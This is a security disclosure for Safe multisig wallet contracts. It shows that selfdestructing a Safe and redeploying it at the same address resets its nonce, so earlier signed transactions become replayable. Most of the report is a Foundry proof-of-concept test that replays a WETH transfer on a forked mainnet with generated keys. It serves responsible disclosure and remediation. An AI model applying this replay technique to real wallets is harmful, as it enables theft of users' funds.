# [0xadrii] Bug disclosure - Tracking nonce in each Safe individually can lead to transactions being replayed

## Target
https://github.com/safe-global/safe-contracts/blob/main/contracts/Safe.sol

## Vulnerability
Multi-sig  Safe wallets work by requiring multiple signatures by the Safe owners in order to execute a transaction. This could introduce a problem where signed transactions could be re-executed, or **replayed**. 
In order to mitigate this potential issue, Safe introduces a `nonce` variable. From [Safe's Natspec comments](https://github.com/safe-global/safe-contracts/blob/main/contracts/Safe.sol#L24): "Each transaction should have a different nonce to prevent replay attacks."

Essentially, the nonce is a *uint256* incremental variable that increases its value by 1 each time a transaction is to be executed via Safe wallet's `execTransaction()`. it is important to highlight the fact that each Safe wallet [tracks the nonce by itself](https://github.com/safe-global/safe-contracts/blob/main/contracts/Safe.sol#L65) (it has a `nonce` variable in its own storage, and the nonce is **NOT** tracked by external systems). We can see how `execTransaction()` builds the transaction hash data encoding the transaction parameters, as well as the nonce in the following block of code, extracted from [Safe's code](https://github.com/safe-global/safe-contracts/blob/main/contracts/Safe.sol#L139-L170). 


```solidity
 function execTransaction(
        address to,
        uint256 value,
        bytes calldata data,
        Enum.Operation operation,
        uint256 safeTxGas,
        uint256 baseGas,
        uint256 gasPrice,
        address gasToken,
        address payable refundReceiver,
        bytes memory signatures
    ) public payable virtual returns (bool success) {
        
        {
            bytes memory txHashData = encodeTransactionData(
                // Transaction info
                to,
                value,
                data,
                operation,
                safeTxGas,
                // Payment info
                baseGas,
                gasPrice,
                gasToken,
                refundReceiver,
                // Signature info
                nonce
            );
            // Increase nonce and execute transaction.
            nonce++;
            ...
        }
     ...
 }
```

Although this mitigates the issue of transactions being replayed in normal scenarios, tracking the nonce inside the Safe's storage can lead to a potential replay vulnerability, where if the Safe is destroyed by delegatecalling to a contract with selfdestruct logic, the nonce is destroyed. If the Safe wallet is then redeployed to the exact same address where it was deployed, the Safe's storage will exist again, but reset (meaning that the `nonce` tracker for that Safe address will be 0), and **ALL** the transactions executed before the selfdestruct will be able to be replayed.

Consider the simple following scenario:
- Signer 1, signer 2 and signer 3 create a multisig Safe wallet with a threshold of 2 at address 0xaaaa..aa. All of them decide to send a bit of Wrapped Ether to the Safe so that it has funds.
- Signer 1 and signer 2 sign and execute a transaction that makes the Safe wallet transfer 1 Wrapped Ether to a `receiver` address. Because the Safe's nonce has never been increased, the nonce for this transaction will be **0**, and will be incremented to 1.
- Signer 1 and signer 2 then decide to sign and execute a transaction that will lead the multisig to be self destructed. Because the Safe's nonce has  increased in the previous transaction, the nonce for this transaction will be **1**, and should be incremented to 2. Because the Safe is selfdestructed, all its storage is erased. 
- The Safe wallet is then redeployed to the exact same address it was before.
- Because the `nonce` has been reset, anyone can now replay both WETH transferring and selfdestructing transactions, given that the signatures for such transactions are public, and the only limitation to avoid replay (the nonce) is not useful now, given that the Safe's storage was reset.


As we can see, the previous attack vector makes ALL Safe wallets vulnerable to replay attacks if, after selfdestructing the Safe, the wallet is redeployed to the same address it was before. All the transactions that where executed prior to the selfdestruct are susceptible of being replayed, given that the signatures will be publicly accessible given the blockchain's transparency nature. This also makes external protocols using Safe's nonce as a value to create transactions potentially vulnerable to this kind of attack.

Although the example described before is simple, we need to be aware of the wide range of attack vectors that can arise due to this issue, potentially affecting millions of Safe users. Replaying transactions SHOULD NOT BE PERMITTED in Safe wallets.

## Proof of Concept
The following Proof of Concept with Foundry illustrates the previously detailed scenario. If you prefer, I can give you access to a private repo to easily reproduce it:
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {SafeProxyFactory} from "safe-contracts/contracts/proxies/SafeProxyFactory.sol";
import {Safe} from "safe-contracts/contracts/Safe.sol";

import {SelfDestruct} from "src/SelfDestruct.sol";

interface IERC20 {
    function balanceOf(address user) external view returns (uint256);
}

interface ISafe {
    enum Operation {
        Call,
        DelegateCall
    }

    function setup(
        address[] calldata _owners,
        uint256 _threshold,
        address to,
        bytes calldata data,
        address fallbackHandler,
        address paymentToken,
        uint256 payment,
        address payable paymentReceiver
    ) external;

    function execTransaction(
        address to,
        uint256 value,
        bytes calldata data,
        Operation operation,
        uint256 safeTxGas,
        uint256 baseGas,
        uint256 gasPrice,
        address gasToken,
        address payable refundReceiver,
        bytes memory signatures
    ) external payable returns (bool success);

    function getThreshold() external view returns (uint256);

    function getOwners() external view returns (address[] memory);

    function isOwner(address owner) external view returns (bool);

    function nonce() external view returns (uint256);
}

interface ISafeInteracter is ISafe {}

/// @notice PoC for Safe's vulnerability
/// @dev This PoC test exposes a vulnerability in safe wallet's nonce tracking system, where the nonce is tracked internally
// in each Safe's storage, rather than globally. Whenever a Safe Wallet is selfdestructed, its nonce will be reset, leading
/// to a potential scenario where signatures can be replayed. The following attack consists in:
/// A safe wallet with 3 owners: Signer1, Signer2 and Signer3
/// - First step: Signer1 and Signer2 sign a transaction for the Safe to transfer WETH to a `receiver` address
/// - Second step: Signer1 and Signer2 sign a transaction for the Safe to be selfdestructed
/// - Third step: The safe is redeployed to the same address using the same nonce salt. This leads to the first step
/// being replayable using Signer1 and Signer2's initial signatures.
/// Note that first step and second step are performed inside the `setup()` test function. This is due to the fact
/// that foundry does not yet support `selfdestruct()` in the same test function. See more at https://github.com/foundry-rs/foundry/issues/1543
/// @author 0xadrii
contract PoCTest is Test {
    ////////////////////////////////////////////////////////////////
    //                         STRUCTS                            //
    ////////////////////////////////////////////////////////////////

    struct TransactionData {
        bytes data;
        bytes txHashData;
    }

    struct Signer {
        address signerAddr;
        uint256 privateKey;
    }

    struct Signers {
        Signer signer1;
        Signer signer2;
        Signer signer3;
    }

    ////////////////////////////////////////////////////////////////
    //                        CONSTANTS                           //
    ////////////////////////////////////////////////////////////////

    // Global
    address constant SAFE_PROXY_FACTORY = 0x4e1DCf7AD4e460CfD30791CCC4F9c8a4f820ec67;
    address constant SAFE_SINGLETON = 0x41675C099F32341bf84BFc5382aF534df5C7461a;
    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    string MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");

    // keccak256(
    //     "EIP712Domain(uint256 chainId,address verifyingContract)"
    // );
    bytes32 private constant DOMAIN_SEPARATOR_TYPEHASH =
        0x47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a79469218;

    // Safe
    uint256 SAFE_THRESHOLD = 2;
    // keccak256(
    //     "SafeTx(address to,uint256 value,bytes data,uint8 operation,uint256 safeTxGas,uint256 baseGas,uint256 gasPrice,address gasToken,address refundReceiver,uint256 nonce)"
    // );
    bytes32 private constant SAFE_TX_TYPEHASH = 0xbb8310d486368db6bd6f849402fdd73ad53d316b5a4b2644ad6efe0f941286d8;

    ////////////////////////////////////////////////////////////////
    //                          STORAGE                           //
    ////////////////////////////////////////////////////////////////

    Safe private singleton;
    SafeProxyFactory private proxyFactory;
    Signers private signers;
    ISafeInteracter private safeWallet;
    address private receiver;
    SelfDestruct private mockSelfDestruct;
    bytes replayableSignatures;

    ////////////////////////////////////////////////////////////////
    //                        POC SETUP                           //
    ////////////////////////////////////////////////////////////////

    function setUp() public {
        vm.createSelectFork(MAINNET_RPC_URL);

        _buildSigners();

        // Set singleton and proxy
        singleton = Safe(payable(0x41675C099F32341bf84BFc5382aF534df5C7461a));
        proxyFactory = SafeProxyFactory(0x4e1DCf7AD4e460CfD30791CCC4F9c8a4f820ec67);

        _deploySafeProxy();

        _deal();

        // Deploy mock self destruct
        mockSelfDestruct = new SelfDestruct();

        // First step: Signer one and signer two sign a transaction which
        // transfers 1 WETH from Safe Wallet to receiver address

        console.log(
            "- First step: Signer one and signer two sign a transaction which transfers 1 WETH from Safe Wallet to receiver address"
        );
        console.log("Receiver address WETH balance before first step:");
        console.log(IERC20(WETH).balanceOf(receiver) / 1e18, "WETH");

        (bytes memory signerOneSignature, bytes memory signerTwoSignature) = _executeMaliciousSignersCalldata(
            abi.encodeWithSignature("transfer(address,uint256)", receiver, 1 ether), WETH, ISafe.Operation.Call, false
        );

        // Copy signatures to later be replayed
        replayableSignatures = abi.encodePacked(signerTwoSignature, signerOneSignature);

        console.log("Receiver address WETH balance after first step:");
        console.log(IERC20(WETH).balanceOf(receiver) / 1e18, "WETH");

        console.log("");
        // Second step: Signer one and signer two sign a transaction which
        // transfers 1 WETH from Safe Wallet to receiver address

        console.log(
            "- Second step: Signer one and signer two sign a transaction which transfers 1 WETH from Safe Wallet to random address"
        );

        _executeMaliciousSignersCalldata(
            abi.encodeWithSignature("destroy()"), address(mockSelfDestruct), ISafe.Operation.DelegateCall, false
        );
        console.log("");
    }

    ////////////////////////////////////////////////////////////////
    //                           POC                              //
    ////////////////////////////////////////////////////////////////

    function testPoc() public {
        // Third step: Redeploy safe proxy at the same address using same saltNonce

        console.log("- Third step: Redeploy safe proxy at the same address using same saltNonce. Safe's nonce is reset");

        _deploySafeProxy();

        assertEq(safeWallet.nonce(), 0);

        console.log("");

        console.log(
            "- Fourth step: Execute attack. Use previously stored signatures to replay the initial 1 WETH transaction"
        );

        // Users hypothetically fund wallet with WETH
        _deal();

        console.log("Receiver address WETH balance before attack:");
        console.log(IERC20(WETH).balanceOf(receiver) / 1e18, "WETH");

        // Execute replay.
        _executeMaliciousSignersCalldata(
            abi.encodeWithSignature("transfer(address,uint256)", receiver, 1 ether),
            WETH,
            ISafe.Operation.Call,
            true // Use replayable signatures
        );

        console.log("Receiver address WETH balance after attack:");
        console.log(IERC20(WETH).balanceOf(receiver) / 1e18, "WETH");
    }

    ////////////////////////////////////////////////////////////////
    //                     INTERNAL HELPERS                       //
    ////////////////////////////////////////////////////////////////

    function _executeMaliciousSignersCalldata(
        bytes memory data,
        address to,
        ISafe.Operation operation,
        bool useStoredSignature
    ) internal returns (bytes memory signerOneSignature, bytes memory signerTwoSignature) {
        // 1. Create txn

        TransactionData memory transaction;

        transaction.data = data;

        transaction.txHashData = _buildTransactionHash(
            to, // to
            0, // value
            transaction.data, // data
            operation, // Operation
            1e18, // safeTxGas
            0, //baseGas
            0, // gasPrice
            address(0), // gasToken
            address(0), // refundReceiver
            safeWallet.nonce() // nonce
        );

        // 2. Sign txn with signers one and two
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signers.signer1.privateKey, keccak256(transaction.txHashData));

        signerOneSignature = abi.encodePacked(r, s, v);

        (v, r, s) = vm.sign(signers.signer2.privateKey, keccak256(transaction.txHashData));

        signerTwoSignature = abi.encodePacked(r, s, v);

        // 3. Execute transaction
        bool success = _executeSafeTransaction(
            to, // to
            transaction.data, // data
            operation, // Operation
            useStoredSignature ? replayableSignatures : abi.encodePacked(signerTwoSignature, signerOneSignature) // signatures
        );

        // Ensure safe txn was succesful
        assertTrue(success);
    }

    function _buildSigners() internal {
        (signers.signer1.signerAddr, signers.signer1.privateKey) = makeAddrAndKey("signer1");
        (signers.signer2.signerAddr, signers.signer2.privateKey) = makeAddrAndKey("signer2");
        (signers.signer3.signerAddr, signers.signer3.privateKey) = makeAddrAndKey("signer3");

        receiver = makeAddr("receiver");
    }

    function _deploySafeProxy() internal {
        // Prepare init calldata
        address[] memory owners = new address[](3);
        owners[0] = signers.signer1.signerAddr;
        owners[1] = signers.signer2.signerAddr;
        owners[2] = signers.signer3.signerAddr;

        bytes memory initCalldata = abi.encodeWithSelector(
            ISafe.setup.selector,
            owners, // owners
            SAFE_THRESHOLD, // _threshold
            address(0), // to
            bytes(""), // data
            address(0), // fallbackHandler
            address(0), // paymentToken
            0, // payment
            address(0) // paymentReceiver
        );

        // Deploy Safe
        uint256 saltNonce = 1;
        safeWallet =
            ISafeInteracter(address(proxyFactory.createProxyWithNonce(address(singleton), initCalldata, saltNonce)));

        // Init assertions
        assertEq(SAFE_THRESHOLD, safeWallet.getThreshold());
        assertTrue(safeWallet.isOwner(owners[0]));
        assertTrue(safeWallet.isOwner(owners[1]));
        assertTrue(safeWallet.isOwner(owners[2]));
    }

    function _buildTransactionHash(
        address to,
        uint256 value,
        bytes memory data,
        ISafe.Operation operation,
        uint256 safeTxGas,
        uint256 baseGas,
        uint256 gasPrice,
        address gasToken,
        address refundReceiver,
        uint256 nonce
    ) internal view returns (bytes memory) {
        bytes32 safeTxHash = keccak256(
            abi.encode(
                SAFE_TX_TYPEHASH,
                to,
                value,
                keccak256(data),
                operation,
                safeTxGas,
                baseGas,
                gasPrice,
                gasToken,
                refundReceiver,
                nonce
            )
        );

        return abi.encodePacked(bytes1(0x19), bytes1(0x01), _domainSeparator(), safeTxHash);
    }

    function _deal() internal {
        deal(WETH, signers.signer1.signerAddr, 10 ether);
        deal(WETH, signers.signer2.signerAddr, 10 ether);
        deal(WETH, signers.signer3.signerAddr, 10 ether);
        deal(WETH, address(safeWallet), 10 ether);
    }

    function _domainSeparator() public view returns (bytes32) {
        uint256 chainId;
        assembly {
            chainId := chainid()
        }

        return keccak256(abi.encode(DOMAIN_SEPARATOR_TYPEHASH, chainId, address(safeWallet)));
    }

    function _executeSafeTransaction(address to, bytes memory data, ISafe.Operation operation, bytes memory signatures)
        internal
        returns (bool success)
    {
        success = safeWallet.execTransaction(
            to, // to
            0, // value
            data, // data
            operation, // Operation
            1e18, // safeTxGas
            0, //baseGas
            0, // gasPrice
            address(0), // gasToken
            payable(address(0)), // refundReceiver
            signatures // signatures
        );
    }
}

```


### Impact
The previous scenario has illustrated how it is possible to replay transactions using Safe wallets. The impact can be evaluated checking two metrics:

- Probability: Low. It is indeed true that a contract that is selfdestructed, can be recreated (if the default proxy factory is used) which resets the nonce and allows to replay transactions. That is also the reason why the Safe contract does not provide a "selfdestruct" method and that it is not recommended to "selfdestruct" a contract. 
The contracts use the internal storage to track the nonce as this is more gas efficient, externalizing this is possible (and necessary with frameworks as 4337), but it is also possible to solve this by using a proxy factory that does not allow replaying the creating tx. 

- Impact: Critical, transactions should NOT be replayable

Given the previous metrics, the vulnerability can be rated as **low**. If a malicious attacker can inject a malicious tx (which is required to trigger this flow), then any attack is possible, as it is for example possible to update the singleton/master copy.

### Remediation
Remediation for this issue is relatively easy. Nonce should **NOT** be tracked inside each Safe's storage, and should rather be tracked by an external contract (say, a NonceManager), that can't be manipulated by any external malicious party. The NonceManager will always increment the nonce regardless of transactions executed that have destroyed a Safe.
